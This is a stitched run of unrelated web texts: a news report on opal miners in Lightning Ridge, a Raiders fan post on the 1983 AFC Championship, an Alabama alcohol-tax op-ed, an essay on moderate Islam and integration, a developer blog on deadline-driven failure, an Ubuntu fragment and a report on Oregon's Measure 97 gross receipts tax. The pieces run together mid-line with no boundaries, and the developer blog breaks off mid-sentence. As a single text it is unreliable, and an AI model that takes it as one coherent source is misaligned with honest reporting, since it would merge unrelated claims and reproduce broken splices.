Mr Cheal says a "sunset clause" mooted by the NSW Government is also creating uncertainty in the industry. The clause would see a time limit placed on the life of a mine.
Miners are also waiting for a compensation system between miners and landholders to be settled on.
"It just seems to me they're pulling the rug out from under us, which is a shame because this is one of the few places left in the world that you can go peg a claim," he says.
His view is shared by hundreds of miners. Around 800 signatures were gathered at a recent public meeting that was set up to draw attention to the miners' concerns and the impact it could have on the community.
It wasn't only miners who turned up. Justine Buckley was there too.
She runs one of 15 opal retailers in town and her business depends on the rare gem. She is also a member of the local tourism board.
There are dozens of entries in her shop's visitors' book, praising the opals as "beautiful gems" and "utterly mouth-watering".
But she wonders how long before tourism is affected.
"The mining has reduced, the supply of opals has reduced and as of yet it hasn't actually affected the tourists but it will," she says.
Local councillor and former mayor Ian Woodcock says a decline in opal mining is already taking its toll on business.
"I came here in the early years when we seen it go up and up and up and everyone was wondering how far it could go," he says.
"We've seen it reach its peak, then we've watched it gradually deteriorate, and too quickly."
As much as he loves it, Chris Cheal will not be encouraging his three children to follow him down the mines; he thinks the future is too uncertain.
I ask him when he will make a decision on his future.
"I don't know whether I would put a time limit on it just yet, but if things keep going the way they're going I guess I'd give it a couple of years," he says.
"If I can't mine, I won't stay here. There's no point."
With many more like him sharing that sentiment, that is what has locals so worried.
Topics: mining-industry, industry, business-economics-and-finance, states-and-territories, lightning-ridge-2834, nsw, australia
First postedEvery Tuesday Just Blog Baby will be providing a classic Raiders video from the YouTube archives in a new segment called (you guessed it) Raiders Throwback Tuesday. Leave suggestions for future videos or favorite Raiders moments in the comments.
For the first ever installment of Raiders Throwback Tuesday we take you back to the 1983 AFC Championship where the Los Angeles Raiders put on a defensive clinic in order to advance to the Super Bowl against the Seattle Seahawks at the Coliseum in one of the forgotten games in Raiders playoff history.
After beating the Pittsburgh Steelers 38-10 in the AFC Divisional Playoffs on New Years Day, the Raiders went into the Championship with high expectations after a 12-4 regular season. Yet they would be in tough against a Seahawks team that beat them twice in the regular season. 38-36 in the Kingdome in Week 7 and then at home 34-21 during Week 9. With the AFC’s leading rusher in Curt Warner the Seahawks were feeling confident in their chances to make it three in a row against the Raiders to advance to the Super Bowl despite having a 9-7 regular season record.
Well the Raiders defense had other plans for the Seattle Seahawks on that day on January 8, 1984.
Played in front of a massive crowd of 88, 734 at the LA Coliseum, Lester Hayes’ interception on Seattle’s first drive of the game set the tone for a much different Raiders performance than in their regular season meetings. The Raiders held the Seahawks to just 65 rushing yards while the 1983 AFC rushing leader was held to just 26 yards and 11 carries as the Raiders rolled to a 20-0 halftime lead and never looked back.
Marcus Allen rushed for 154 yards along with seven receptions for 62 yards in a two touchdown performance alongside Frank Hawkins two rushing touchdowns in what was a domination by the Raiders, whose defense was so dominant in the first half that quarterback Dave Krieg was replaced by Jim Zorn during the game.
As everyone should know by now, the Raiders went on to run over the Washington Redskins in what was one of the best defensive runs in NFL playoff history. The Raiders allowed just nine Redskins points during Super Bowl XVIII to give the swashbuckling D an average of just 11 points allowed during the 1983 playoffs, a dominant playoff run led by the secondary heroics of Lester Hayes and the presence of Hall of Famers in Ted Hendricks, Mike Haynes and Howie Long. Rounded out by infamous Raiders Lyle Alzado and Matt Millen and that Raiders defense was one for the ages.
Everyone will remember the 1983 Super Bowl for Marcus Allen’s runs in the Super Bowl and for Jim Plunkett’s second Super Bowl win as a starting quarterback, but the AFC Championship was an exhibition of a stellar Raiders defense loaded with three Hall of Famers that has been forgotten over the years. Sit back and enjoy highlights from the 1983 AFC Championship between the Seahawks and Raiders. Revenge was sweet on that January afternoon.Alcoholic beverages
(Creative Commons via Pixabay)
Elizabeth BeShears is the owner of BeShears Solutions LLC. She is a freelance writer and communications professional based in Birmingham.
In a deal cut under the Bentley administration, alcohol taxes could be going up again, and the Republican supermajority in the State Legislature won't even have to vote on it for it to happen.
Under Alabama law tax increases are supposed to go through the State Legislature, but in some cases that authority has been ceded to agencies.
Most agencies are limited on the fees they can charge and must appeal to the legislature if their needs outweigh the amount of revenue coming in, but such is not the case for the Alcoholic Beverage Control Board (ABC).
The ABC is considering a rule to increase the markup on liquor by an additional 5 percent. If you don't think that sounds too bad, here's the rest of the story.
Currently, all legal liquor in Alabama is priced by its manufacturer and sold to the ABC, and then the ABC places a markup on it. That markup is currently 30 percent, and is supposed to help the ABC with its overhead, as well as the funding of some other Alabama projects and agencies. Next state "sin taxes" of 56 percent --some of the highest in the nation-- are added on top of the marked up price! If you purchase it at an ABC store, there is an additional 6% state sales tax.
So, we already tax alcohol quite a bit. In fact, more than half of what Alabamians pay for liquor is either markup or taxes.
I guarantee your uncle Ed who makes a run to Florida every few months to stock up on rum has done the math.
A simple three page bill stopping the tax increase was sponsored by Madison Republican Bill Holtzclaw. The bill would have frozen the markup at the level it was on March 1st, 2017, and stopped the ABC from increasing it ever again without legislative approval.
During a Fiscal Responsibility and Economic Development committee meeting in which only half of the committee actually showed up last week Holtzclaw's bill died 4-4, with one member abstaining.
In effect, by refusing to act, this gives an agency the authority to vote to increase its own budget. What agency would ever say they don't want more money?
And if you're thinking some of the conservative firebrands in the Alabama House of Representatives will put a stop to it, I have some disappointing news for you: the House has already approved the backdoor tax increase by passing a $6 million bump to the ABC's budget conditional on the agency raising the markup.
It is true that the District Attorneys Association and the Unified Judicial System have seen the inflows from their earmarked revenue streams decrease over the last several years, but that doesn't mean they need to raise taxes; it just makes them the latest victim of Alabama's neglect of budget reform.
Our split budget system, in which most growth taxes--or revenue streams that increase with the economy--are earmarked for the education budget, which incidentally has had several record high years in a row. Meanwhile, the general fund budget languishes with taxes and fees that tend to stay the same, and even decrease due to inflation.
One of the favorite lines of Republicans in the state legislature is that we don't have a revenue problem, we have a budget problem. Yet, far too few of them seem able to muster up the political will to take a hard look at our fiscal priorities and actually do something about it.
As a result Medicaid, the Department of Human Resources, the judicial system, the District Attorneys, and a myriad of other state functions will remain underfunded.
Yes, something should be done to make the District Attorneys and the Unified Judicial System whole again, but sneaking through a backdoor tax increase isn't how it should happen.
There are still a few ways for the increase to be stopped:
The legislature can fail to pass the budget with the increased earmark or an amendment to the budget can be passed removing the earmark.
Public comment on the rule could cause the ABC Board to change its mind.
The Legislative Council, which has the ability to overturn all regulatory rules, could nix it.
Governor Ivey could veto the budget and call for the provision to be removed.
All of these options, however, would require the public to be aware of what's happening, and thus far this backdoor tax increase has garnered very little awareness.
We already have some of the highest alcohol taxes in the country and a legislature that is unwilling to take a serious look at budget reform. Why give them free rein at passing the buck yet again?Over the past decade, the prevailing thinking has been that radical Islam is most effectively countered by moderate Islam. The goal was to find religious leaders and scholars and community ‘influencers’—to use the lingo of the counter-radicalization specialists—who could explain to their followers and to any misguided young people that Islam is a religion of peace, that the term jihad refers mainly to the individual’s personal struggle against temptation and for moral betterment, and that tolerance and interfaith cooperation should prevail. The presence of local Muslim luminaries, taking the lectern to announce that what had just happened bore no relation to true Islam, has become part of the ritual following any terrorist incident in a Western country.
As director of the RAND Initiative for Middle Eastern Youth, I was an early proponent of this approach. It assumed two things: first, that because of a lack of education, or poverty or other handicaps, many Muslims had developed an incomplete or incorrect understanding of their own religion; and second, that the extremists were so much louder and had backing from various maleficent sources, and therefore were gaining larger audiences. The task therefore was to help moderate Muslims spread the word. Multiple and expensive programs were launched to fund religious instruction, radio and television shows, community outreach efforts and more.
With a track record of well over a decade, it does not seem as though this is working. Even granted that an undertaking of this magnitude—shaping the way in which a world religion sees itself—takes time, it’s unfortunately more than just a matter of progress being slow.
Incontrovertibly, things are getting worse. We now have ISIS, a magnification of Al Qaeda. We have vicious branches springing up in nearly every part of the world. We have thousands of radical recruits streaming into Syria from Europe and the United States. We have Paris. We have San Bernardino.
Revisiting our ‘strengthen the moderates’ strategy, I now believe that while it was basically sensible, it was off track in two critical ways that could do us in. Our criteria for defining a moderate were too simplistic, and we missed a key concept that arguably should have been our mantra instead: integration.
In our definition of Muslim moderates, we basically only had one red line. If a person disavowed violence and terrorism, he or she was a moderate. But this is not enough. You can eschew terrorism while still harboring attitudes of hostility and alienation that in turn become the breeding ground for extremism and the safe harbor for extremists. What we lumped together as moderates includes what we might better have termed aggressive traditionalists, people who believe that Muslims living in the West must struggle to remain external to Western values and lifestyles, and should owe little or no loyalty to Western institutions and persons. They might be against violence, but they are also against integration.
Consider San Bernardino. Along with grief and anger, many of us felt frankly baffled. Why would a young couple—earning a good income, living in sunny California, raising an infant daughter—do such a thing? How could the husband, Farook, slaughter in cold blood the people who had been his colleagues, had organized a baby shower, had tried to befriend him? His former cubicle-mate relates how he tried to connect with him. Knowing that restoring old cars was Farook’s hobby, he had attempted to engage his taciturn colleague on this neutral topic, only to be continuously rebuffed. Why did Farook hate America, the country of his birth, the country that had taken in his immigrant parents, accommodated his religion by giving him time off to go on hajj, and readily issued a visa so he could bring home his murderous Pakistani bride? “ Why do they hate us ” – this question marked the popular response to 9-11 on the part of the American public. It was dismissed by the experts as naïve, but it turns out that this question was spot on and needs pursuing.
Farook, we are told, prayed twice daily at a nearby mosque and studied the Quran there over multiple years. His imam has pronounced himself equally baffled by his acolyte’s behavior. The authorities seem confident that the mosque had no connection to the terrorist plan—but still, we have to wonder about all those hours Farook spent there, all the Friday sermons he heard, the atmosphere he must have absorbed. There are only two possibilities. Either this moderate mosque had no influence on him at all, or it contributed in some way—however unintentionally—to his slide into murder.
If we take a closer look at ‘moderate Islam’ we find that one slice of it—the ‘aggressive traditionalist’ slice—incites not violence against the West, but rejection of Western values, modern life and integration. It demands of its followers that they be in the West but not of it, that they maintain emotional, social and intellectual separation. This describes Farook and Tashfeen, who went to great pains to harden their hearts against the people in whose midst they lived.
We can assume that this mindset only leads to further radicalization and violence in a small minority of cases. However, even short of that, a culture of self-alienation has negative effects. It can cause individuals to fail or flounder in their careers, because their standoffishness and self-marginalization prevent them from being true team members. That, in turn, can lead to feelings of anger, disappointment and frustration, as people who have segregated themselves now feel that they are being excluded and discriminated against—a vicious circle.
Divided loyalties can cause individuals to stay silent when they notice suspicious activity in their neighborhood or family or social circle. In recent days there has been much discussion of how we as a society must avoid marginalizing our Muslim fellow citizens. But it is at least equally important to address the matter of the self-marginalization of a particular subset of Muslim fellow citizens.
I will start with some examples from my own doorstep, Northern Virginia. A Muslim American friend of mine works for a social service agency, where it is his task to find jobs for Muslim immigrants, get them off the dole and help them integrate. Regularly, he shares with me his exasperation about the counterproductive advice mosque leaders dispense to his clients. For example, when he finally landed jobs for a group of Somali women immigrants—no mean feat as they spoke almost no English and had few developed skills—the ladies thanked him but said they had to check with their imam. That gentleman promptly nixed their careers in the hospital laundry facility when he learned that they would not be permitted to wear hijab. The pragmatic reason for this rule—flowing fabric would get caught in the machinery and pose a safety hazard– was of no interest to him. Other clients were counseled to refuse jobs at 7-11 (sells beer), as security guards (they would need to trim their beards) and with a moving company (one could not be sure that some boxes didn’t contain alcohol). This has been very frustrating for my friend, the more so because he himself is a scholar and a professor who immigrated from a conservative Muslim country, and he is strongly of the view that none of these pronouncements are even theologically correct.
Maybe it’s just one lone stodgy imam in Virginia? The fact is, we don’t know. Currently in the United States, anyone can register as a non-profit and open a mosque, and anyone can declare himself an imam. And there’s another issue. The current mosque scenery in the U.S. is such that many and perhaps most mainstream, modern-minded and well-integrated moderate Muslims don’t go to them. Ask your Muslim friends about this. They will complain about the pronounced ethnic or national nature of their local mosques, that this one caters only to Pakistanis and is hostile to Afghans or vice versa, or is Arab or Somali and unwelcoming to anyone else. Another issue is that the section set aside for women is often unacceptable and even insulting, little more than a damp basement or a section of the utility room. I myself sat through a four hour fatiha or memorial service in a mosque in New Jersey, where the women’s section consisted of folding chairs in the laundry room, facing the washing machine as though it were Mecca, while the men prayed upstairs in a nice large room on Persian carpets. Modern families won’t put up with this, which helps explain why many attend the mosque only for the unavoidable funeral or memorial observation. It’s not a problem for them; they can pray at home, and marriages are typically held at home or in a hotel anyway, but on a societal level the absence of modern Muslims from the American mosque is consequential. These are the people who could serve as role models and opinion leaders, and as board members exercising ‘quality control.’ Instead, that terrain is left to the ultra-conservative, the old fashioned and the cultural separatists.The Problem
I think that most devs would agree when I state that the definition of success in the corporate world of development places less emphasis on “good” code and more emphasis on “working” code. Working code is code that can be released to production on or before the deadline, regardless of performance or even bugs in most cases. As a developer, you ultimately feel as if you’ve failed when you toil for nights on end to meet steep deadlines and churn out crappy code. As a business, however, you’ve succeeded when you hit the deadline. My experience tells me that the typical metric upon which development teams are measured is often not quality of code or unit tests or even performance, but instead ability to meet deadlines and deliver solutions to clients. You’ve failed when you do not meet the deadlines and thus piss off the clients/customers. Your job has become a veritable boolean result with the outcomes of true and false. Deadline met? True. Deadline missed? False.
Doesn’t it feel awful to be measured in such a binary way? All or nothing, success or failure, deliver or delay. These are the only outcomes according to the people who write and sign your paychecks.
The Conflict
Why does this happen? A little introspective thought brings light to the subject, at least for me. The reason for these types of metrics becomes obvious when you consider their source. You work for a company who pays you (often with I.T. seen as a cost-center or “money pit”) to accomplish things which the company can then sell to clients. You’re an expensive tool by which they accomplish their means. Though these companies often see software as a profit source, they see the means by which they get the software as an expense and cost. Kind of strange, really.
The problem begins at the very core of the organization; the structure of the company is the starting point for guaranteed failure. In my experience, the dichotomy that forms in most companies is “I.T.” versus “The Business” in a bout-to-knock-the-other-guy-out. The minute you create this relationship of opposing fronts, you’ve already guaranteed development failure. With competing and contrasting goals (the business wants to sell stuff ASAP while I.T. wants to build stuff properly which takes longer) it is not possible for trust to exist within the organization. The Business will not believe a word that I.T. says when it comes to estimates, deadlines, or things that need to happen to ensure stability of the product in the future (technical debt). I.T. will not trust The Business to make rational decisions when it comes to features, development timelines and ensuring product quality. The result is a boxing match where each side is trying to force the other into compliance. Now you have conflict. Conflict dismantles good companies.
The Measurables
The Business is used to tracking their sales teams by metrics like “how many calls did you make/receive today?” and “how many sales did you make?” and “did you make X sales by Y arbitrary date?” where Y could be the end of each month. These are things that they understand, and thus like to control. Ask your favourite sales person for their opinion on the metrics by which their success is measured, and I am confident you’ll find that most will sum it up as “the faster I sell things, and the more things I sell, the more successful I am.” This makes sense from an empirical, see-the-figures-on-paper-on-my-desk-in-my-executive-office point of view, but I bet that the sales person in this case is not loving their life. A constant push to sell more, make more money, and do more. Any success in the future just raises the bar for the success which must follow. It’s a losing scenario. Eventually, they either get promoted out of the trenches of sales or they move to another company, resetting the bar which has been set too high. This buys them another year or two of raising that bar, until they ultimately repeat the process again.
Sales people who are put under the gun in such situations often resort to employing any tactic that they can to reach their goals… One of these strategies is saying anything at all to sign the client up. “Sure, the software can create rainbows and unicorns, just sign on the dotted line!” they say. It’s unfortunate, because customers who are hooked into these contracts tend to be very unhappy with the product when they find out that the software does not, in fact, create rainbows or unicorns. Or even a colour wheel and horses. It doesn’t even come close.
In the above case, The Business fails to measure the things that, long-term, make you the most money: client satisfaction and relationships. A good sales person (they definitely exist) is one that keeps the client happy with rational discussions and promises, and who is very transparent about what can and cannot be done and why. A great sales person is one the client loves so much that they’ll keep using your product, even when a better product exists, simply because they fear losing the relationship. This client is a client for life (or at least a long while) and makes you a lot of money. But how do you measure “happiness” and “relationships” long term? It’s a hard problem. Dating sites have been trying to solve it for over a decade. The Business will likely not dedicate the time and resource to do so themselves. So, they measure phone calls, sales, and other crappy metrics to ensure that the sales team are doing their job.
Here’s where we get back to the topic: developers and failure. The Business, who in most cases pays I.T. to create things to sell, employs these same arbitrary measurements when grading development teams. They often only know how to see success as a measured outcome of facts, and so they create the only measurements that they can empirically apply: features and deadlines. Does the dev team build all of the features and hit the deadline? Great. Do they not? Not great. These measurements themselves are acceptable (even good), but the combination of them (lots of features on short deadlines) is the problem.
The Money Talks
Where it gets tricky is in the realization that “show me the money” is how business ultimately tends to run. The sales people very overtly make the money, so they are seen as successful and important people in the company. The dev team also makes money, but is perceived to cost money, and they are seen as a cost-center that must be carefully weighed and measured to avoid excessive spending. What this leads to is an unhealthy practice of allowing sales people the freedom to employ any tactics necessary to land sales and make the money. In a business such as The Business as described, your life as a developer begins to suck.
To close the deal, the sales person will often promise the client almost anything about the software that you develop. They may promise new feature X by the end of the month, they may even promise 10 new features by the middle of the month. Whatever makes the client sign on. Then, the client says let’s rock and your quality of life drops sharply.
The very next thing that happens is The Business casually tries to confirm what seems obvious and even mandatory to them. “So your team will have these 10 things ready to go by the 15th, right?” they say. “This is a million dollar client, and it would be horrible if we lost them because you couldn’t deliver!” and now the pressure is on to do the nearly-impossible in virtually no time.
The dev team might try to politely push back and say that this is practically impossible, but The Business sees the dollars on the dotted line and will not listen. Flip the kill switch. Forego the QA time, all developers must focus on all of these features, day and night, so that the deadline can be met. Why? Because that’s how the team is measured. If the team doesn’t hit that deadline, they’ve failed and the million dollar deal is lost with the dev team seemingly at fault. Developers don’t want to work extra? Order in pizzas and promise them time-in-lieu as soon as the deadline is over with. Note that they will likely never actually see this time-in-lieu because right after this deadline will be the next one, with similar outlandish expectations and even tighter deadlines. And after that, another one. And another one. And the cycle will probably never end.
The Mad Production Dash
So, as the developer, you develop it as fast as you can. The code starts to resemble Frankenstein as you tack on bits and pieces to make it work ASAP. You subdue your ego and uneasiness about the quality of code by commenting // HACK: undo this crap later everywhere. Somehow that makes you feel better as it creates the slight glimmer of hope that eventually you’ll have enough time to come back and undo this monstrous pile of garbage. But you never will get that time, because the next deal is coming down the pipe. And so the code becomes worse. Your development effort completes 1-2 days before the arbitrary sales deadline, and after your QA team flips their lids on having 48 hours to test 1000+ hours of work, they do “critical path testing” to make sure it at least does something correctly and certify it as “good enough.”
The team releases to production early in the morning of the deadline day, and though it takes 5 hours because there are 17 untested things to fix on-the-fly (and realistically they have no option to abort the release or roll back because the consequences will be dire), they eventually shove the hacked up code out the door and declare it done. The Business shows their appreciation in the form of a short, impersonal e-mail that doesn’t name any person of achievement specifically. The development team is feeling underappreciated and pissed off.
What does the future hold for such a company? The code will probably spiral into bug-filled oblivion until it can’t do anything correctly or in any reasonable amount of time. Despite the weeks and months during which the development team pleaded with the business for time to clean up the technical debt, they are brushed off because taking time off of features loses clients and thus money. Then, as it starts to come crashing down in production, they suddenly beg the developers for a quick fix. “Do whatever it is that needs to be done!” they plead as they see their sales going down the drain. And now, because it is on fire and burning to the ground, the dev team is finally given a moment to pay back some of the technical debt that has been accrued during this vicious cycle. Repeat.
The Solution
When a dev team has no say in the deadlines of the work they must do, they will usually fail. And when they are set up for failure from the start, they will likely get tired of being blamed for the problems without ever being given the time to devise the solutions. This leads to bad work culture, high turnover, and low productivity.
The way to guarantee dev team success is obvious at this point. It’s really as simple as trust between I.T. and The Business. They must keep each other in the loop as stakeholders. The Business has no product without I.T. and I.T. has no job without The Business’s clients. It’s a mutually beneficial relationship and it should be treated as such, rather than mutually parasitic.
A good company’s sales team will often consult with I.T. prior to promising any dates and deadlines when unknowns are involved. It is practical to ask the people responsible for a task how long it will take them to complete a task. This is much like how you might ask a waitress how long it will take for the food to arrive or a painter how many days they need to paint your home. This is a positive and productive discussion. Hallway conversations should become commonplace: “Hey dev team, I’ve got a client who wants to sign on but not until we build X, how long will that take?” The reply is as easy as “We’ll discuss it as a team and send you an estimate with some assumptions to confirm with the client” and just like that there’s a great working relationship that practically guarantees success. The team knows what work is coming, and also knows how long they have to complete it.
The Correct Measurements
If a dev team continues to fail in an environment where trust exists, then that team is likely not competent. They either cannot estimate correctly or cannot deliver within their own estimates. Sometimes devs suck at estimating because they’ve been making estimates under the oppressive sales gun for so long that they’ve effectively forgotten how to give themselves a fair amount of time. The blame for this remains entirely on the dev team, and they (or The Business) must repair the situation quickly and effectively to maintain the mutually beneficial relationship based on trust. As The Business owes I.T. input into the deadlines, I.T. carries the burden of being fair, accurate, and responsible with those deadlines.
Assuming that The Business now has a competent, skilled dev team, the question turns to the customers. If the customers do not like the estimates given to them, this may cost the company sales. Perhaps the customer wanted the impossible and The Business is giving them a dose of reality. Perhaps The Business does not want such a needy customer and they’re in a situation to be able to afford to tell them no thanks. Perhaps The Business realizes that the client’s request is reasonable but the timeframe of the estimate feels a bit long. In that case they can ask I.T. why. If the answer is not sufficient and justifiable, then perhaps the dev team is still not competent. No dev team should be let loose without checks and measures on productivity, but those metrics should be reasonable.
Ultimately, if you want to guarantee the failure of a development team, simply promise features to clients and customers without ever asking for (or trusting) the input of the team that is actually going to build those features. It’s just like telling the waitress that your food must be on the table in 10 minutes, without first asking the cooks how long it takes to safely and properly make it.
If this situation sounds familiar, try talking with The Business about it. Try to help them see it from your point of view. Ask them “how successful would you be if I demanded that you sell 20 new clients by Friday?” and perhaps some light bulbs will start to go on. Ultimately, we as developers often know nothing about sales and have no business dictating their measurable work expectations. They similarly have no business dictating ours, but a relationship of trust can be built to allow us all to |
and some revenue for the company at the same time, that's fine by me.
My one real objection is that this could have been handled better. This was a very late addition to Ubuntu 12.10 and the community should have been told what was going on earlier. Had that been the case, while I'm sure some people would still have objected, I doubt they would have been quite so loud about it.
Related Stories:Download FISCAL FACT No. 508: Oregon Measure 97: The Threat to Oregon’s Tax Climate (PDF)Download FISCAL FACT No. 508: Oregon Initiative Petition 28: The Threat to Oregon’s Tax Climate (PDF)
Key Findings
Measure 97 (M97) would establish a new gross receipts tax on Oregon corporations. The new tax would charge firms 2.5 percent for all sales in excess of $25 million.
If adopted, the tax would raise an estimated $6 billion per biennium, a 25 percent increase in the Oregon state budget.
Gross receipts taxes result in tax pyramiding, the process of taxes stacking on top of other taxes as goods are refined in the structure of production.
Oregon would join just five other states in assessing a state-wide gross receipts tax, and Oregon’s version would be the most burdensome. It would be the highest rate in the country, save for the tax on radioactive waste in Washington, and the tax would not include provisions to limit its distortionary effects like in other states.
The gross receipts tax proposed in M97 is in addition to the corporate income tax, not a replacement.
Oregon would fall from the 11th best to the 17th best ranking in the State Business Tax Climate Index, but its corporate tax structure would fall to 50th. Oregon’s corporate tax climate would be the worst in the nation.
Introduction
A ballot initiative primed for the November 2016 ballot could remake the corporate income tax in Oregon. It would assess a 2.5 percent gross receipts tax on corporations with annual sales in excess of $25 million, raising an estimated $5 billion over the biennium.
If passed, its effects will be felt by businesses and individuals alike. The tax would add complexity to Oregon’s code, increase economic distortions, and greatly increase the state’s budget.
In terms of tax structure, Oregon already has issues with a multi-faceted corporate income tax, levying a traditional income tax as well as a parallel alternative minimum tax on corporations. The proposed gross receipts tax of M97 would stack on top of that structure.
Economic research consistently demonstrates the ill effects of gross receipts taxes both in theory and based on case studies where they have been implemented. Gross receipts taxes violate core tenets of sound tax policy, especially neutrality, as similarly-situated firms would be affected differently by this new tax.
Oregon’s proposal would be one of the largest gross receipts taxes among other states that have gross receipts taxes, and would greatly reduce the state’s competitiveness.
Current Corporate Tax Structure is Already Complex
Oregon’s corporate income tax has two tax brackets: 6.6 percent on corporate income less than $1,000,000 and 7.6 percent on income greater than $1,000,000.[1]
To ensure that all corporations have a tax liability after deductions and credits, Oregon is one of just eight states that also assesses a minimum tax on top of its income tax.[2] Firms must complete a second tax calculation and remit the greater of the two amounts.
The minimum tax is tiered based on sales within the state of Oregon. The payments range from $150 to $100,000 (Table 1).
Table 1: Oregon’s Corporate Alternative Minimum Tax Structure (2016) Current Minimum Tax Oregon Sales Tax Due $0 to $500,000 $150 $500,000 to $1,000,000 $500 $1,000,000 to $2,000,000 $1,000 $2,000,000 to $3,000,000 $1,500 $3,000,000 to $5,000,000 $2,000 $5,000,000 to $7,000,000 $4,000 $7,000,000 to $10,000,000 $7,500 $10,000,000 to $25,000,000 $15,000 $25,000,000 to $50,000,000 $30,000 $50,000,000 to $75,000,000 $50,000 $75,000,000 to $100,000,000 $75,000 $100,000,000 or more $100,000
Firms paying the minimum tax comprise the bulk of corporate income tax returns. According to the Oregon Department of Revenue, 71 percent of all corporate returns in 2012 paid the minimum tax, including 95 percent of those with zero income or a loss.[3] However, it is a small amount of the revenue collected, representing 10 percent of corporate income tax collections in 2012.[4]
States tend to use three factors, sales, property, and payroll, to determine how much of a corporation’s income to subject to that state’s tax. A ratio of a firm’s sales, payroll, and property in a state is compared to the firm’s total sales, payroll, and property. The corporation’s income is then subject to taxation in the state, based on that ratio. For instance, if a firm has 10 percent of its sales, payroll, and property in a state, 10 percent of its income would be tax subject to that state’s taxation.
Oregon uses sales, known as “single sales factor,” to apportion income; only Oregon sales, and not property or payroll, are subject to Oregon taxation. Both the corporate income tax and the minimum tax are assessed on these Oregon-based sales.
Measure 97 Would Greatly Increase Taxes in Oregon
Measure 97 (M97) seeks to change how the state’s minimum tax is assessed. Corporations with Oregon-based sales greater than $25 million will face a larger minimum tax. For high-sales firms, the new tax would raise the minimum tax from $30,000 to $30,001 plus 2.5 percent of all sales in excess of $25 million (Table 2).[5]
Table 2: Proposed Minimum Tax Structure New Proposed Structure Oregon Sales Tax Due $0 to $500,000 $150 $500,000 to $1,000,000 $500 $1,000,000 to $2,000,000 $1,000 $2,000,000 to $3,000,000 $1,500 $3,000,000 to $5,000,000 $2,000 $5,000,000 to $7,000,000 $4,000 $7,000,000 to $10,000,000 $7,500 $10,000,000 to $25,000,000 $15,000 $25,000,000 or more $30,001 plus 2.5% of sales in excess of $25,000,000
Under this structure, the new minimum tax will functionally replace the Oregon corporate income tax for high-sales firms. Charging 2.5 percent of revenues above $25 million will surely be greater than 6.6 or 7.6 percent of net income.
The tax will quickly increase tax bills for firms, producing a flood of new revenue for the state. The tax’s overly broad base will subject numerous transactions to the tax, hitting many more than the income tax ever could. The Oregon Legislature Research Office estimates that the new tax will raise between $2 and $2.5 billion a year, or approximately $5 billion for the biennium.[6] The corporate income tax currently raises $1.135 billion per biennium. This proposal would thus be a 440 percent increase in corporate tax collections.
An estimated 1,000 businesses will be affected by the change. Based on Oregon Department of Revenue data, almost half of these businesses would have between $25 and $50 million in Oregon sales.[7]
M97 Would Create New Economic Distortions and Increase Complexity
If passed, the tax will have large economic effects. The public finance literature resoundingly finds that gross receipts taxes are highly destructive taxes.
The first issue scholars raise is that gross receipts taxes lead to tax pyramiding. Tax pyramiding occurs when an item is taxed multiple times as it moves through the production process. Each time it changes hands and is taxed, the cost of the good increases. In short, a tax is assessed on a tax. This differs from a sales tax where the tax is only charged on its final sale.
Figure 1.
Figure 1 demonstrates how pyramiding would occur in the production of milk. Under a sales tax, the tax is only assessed when the pasteurized milk is sold to the final consumer. With a gross receipts tax, a tax is assessed multiple times as the milk moves through the supply chain. Each level of production results in a new tax liability, increasing due to tax pyramiding.
Under the Oregon proposal, if the milk came from a farm, packager, or distributor with sales in excess of $25 million, the price of milk would increase as the gross receipts tax is assessed. The several previous levels of taxes would get added to the wholesale price. The milk would be more expensive than it otherwise would be.
To offset the higher cost of milk, a grocery would confront several difficult choices as it decides how to offset this increased tax to stay in business. The store might consider increasing the cost of milk, meaning families would then pay more. It might decide to hire fewer employees or trim benefits, meaning workers would be affected. The store might withhold dividend payments from its shareholders, and that would hurt retirees and investors that use the dividends as a source of income.
The downstream effects of this type of tax pyramiding can be significant. The state of Washington analyzed its gross receipts tax, called the Business & Occupation (B&O) tax, to quantify the amount of tax pyramiding that was occurring due to their tax. They found that taxes pyramid on average 2.5 times under the B&O. The hardest hit industry, food manufacturing, had a pyramiding rate of 6.7 times.[8]
Gross receipts taxes burden industries differently. Industries with longer production schedules or with larger supply chains face a higher effective rate than other similarly-situated firms.[9] The tax pyramiding becomes more pronounced as the supply chain increases in length. Firms that are vertically-integrated escape the multiple levels of taxation; the tax encourages a firm to vertically integrate, even if it is not the optimal firm structure.
Similarly, given that only firms with sales in excess of $25 million would be affected, retailers and other high-volume industries would bear a disproportionate burden of the tax. Taxes should be neutral in their treatment, meaning that they affect industries equally. This tax will be non-neutral in its treatment.
Gross Receipts Taxes Harm Firms with Small Profit Margins
In addition to tax pyramiding, a gross receipts tax unfairly harms businesses with little or no profit. Under an income tax, firms with no profit would pay no tax. This protects firms that are experiencing hardships or just starting up. A gross receipts tax would require a firm with no profit to continue to pay taxes, and the bill is sizeable. Firms that can least afford the tax bill will be hit with larger bills than otherwise. This could speed up the time that it takes for a company to fail or close.
M97 will only hit those firms with sales above $25 million, and who are organized as C corporations, but other businesses could feel the effects too. Input costs could increase if their vendors are affected. Small businesses purchase goods or services from larger firms with direct tax liability, which could raise costs for those small businesses. For instance, electricity costs could be higher, causing the small business to allocate more resources towards paying for this necessary input.
Oregon State Analysis of Gross Receipts Taxes
The Oregon Legislative Revenue Office (LRO), a nonpartisan legislative research agency, has issued findings on gross receipts taxes that are similar to other pieces in the public finance literature. They have not released a specific report on M97, but have issued three reports in recent months on gross receipts taxes and their effects on Oregon.
In their first report, LRO reiterated in the pyramiding effects saying that the taxes “are subject to a phenomenon known as pyramiding (or cascading). This occurs when intermediate purchases are taxed at each level in the production process. In effect, the tax gets built into prices and compounded as a product moves through the production process.”[10]
Separately, they tried to model the economic effects of a gross receipts tax, releasing an analysis of a 0.4 percent gross receipts tax several months ago.[11] LRO summarized the job effects as “private sector employment losses spread broadly with largest decreases occurring in sectors with multiple intermediate transactions and service sectors.”
More specifically, it found that private sector employment would decrease by 15,022 jobs with an increase of public sector jobs by 6,004 for a net job loss of 9,018 in the state.[12] The report emphasized that the retail and manufacturing industries would shed the most jobs, losing more than 5,600 employees. Further, agriculture and natural resources would have the largest decrease as a percent of its total workforce. LRO estimated that employment in that sector would decrease by approximately 1.3 percent.[13]
LRO additionally reported that personal income would decrease by $344 million, and household income would decrease by $799 million.[14] All told, the LRO analysis found that a 0.4 percent gross receipts tax would raise $1 billion in 2017, or $2 billion over the biennium, much less than M97, but still a dramatic increase over the current corporate tax structure.
Analysis of M97 is likely to show many damaging economic effects, as the rate is magnitudes higher than 0.4 percent, and the tax will raise 2.5 times the amount of revenue.
